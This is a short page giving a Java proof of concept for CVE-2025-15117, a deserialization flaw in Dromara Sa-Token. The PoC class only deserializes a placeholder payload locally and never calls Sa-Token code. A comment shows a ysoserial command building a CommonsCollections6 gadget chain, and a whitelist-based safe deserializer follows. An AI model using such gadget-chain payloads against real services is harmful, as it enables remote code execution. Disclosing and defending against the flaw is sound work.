CVE-2025-15117 Dromara Sa-Token 反序列化漏洞

import java.io.*; import java.util.Base64; /** * CVE-2025-15117 PoC - Dromara Sa-Token Deserialization Vulnerability * This PoC demonstrates the deserialization vulnerability in SaJdkSerializer.java * Target: Dromara Sa-Token <= 1.44.0 * * Note: This is for educational and testing purposes only */ public class Exploit { public static void main(String[] args) { try { // Generate malicious serialized object usingysoserial or similar tool // Example: java -jar ysoserial.jar CommonsCollections6 "calc" > payload.ser String maliciousPayload = "BASE64_ENCODED_SERIALIZED_PAYLOAD"; // Simulate sending malicious data to vulnerable endpoint byte[] serializedData = Base64.getDecoder().decode(maliciousPayload); // Vulnerable code path - direct deserialization of untrusted data ByteArrayInputStream bis = new ByteArrayInputStream(serializedData); ObjectInputStream ois = new ObjectInputStream(bis); Object obj = ois.readObject(); // This triggers the vulnerability System.out.println("Deserialized object: " + obj); ois.close(); } catch (Exception e) { System.out.println("Error occurred: " + e.getMessage()); e.printStackTrace(); } } } // Safe alternative - should use filtered ObjectInputStream class SafeSerializer { public static Object safeDeserialize(byte[] data) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { // Whitelist approach - only allow safe classes String className = desc.getName(); if (!isAllowedClass(className)) { throw new InvalidClassException("Unauthorized deserialization attempt: " + className); } return super.resolveClass(desc); } private boolean isAllowedClass(String className) { // Define whitelist of allowed classes return className.startsWith("com.dromara.satoken") || className.startsWith("java.lang") || className.startsWith("java.util"); } }; return ois.readObject(); } }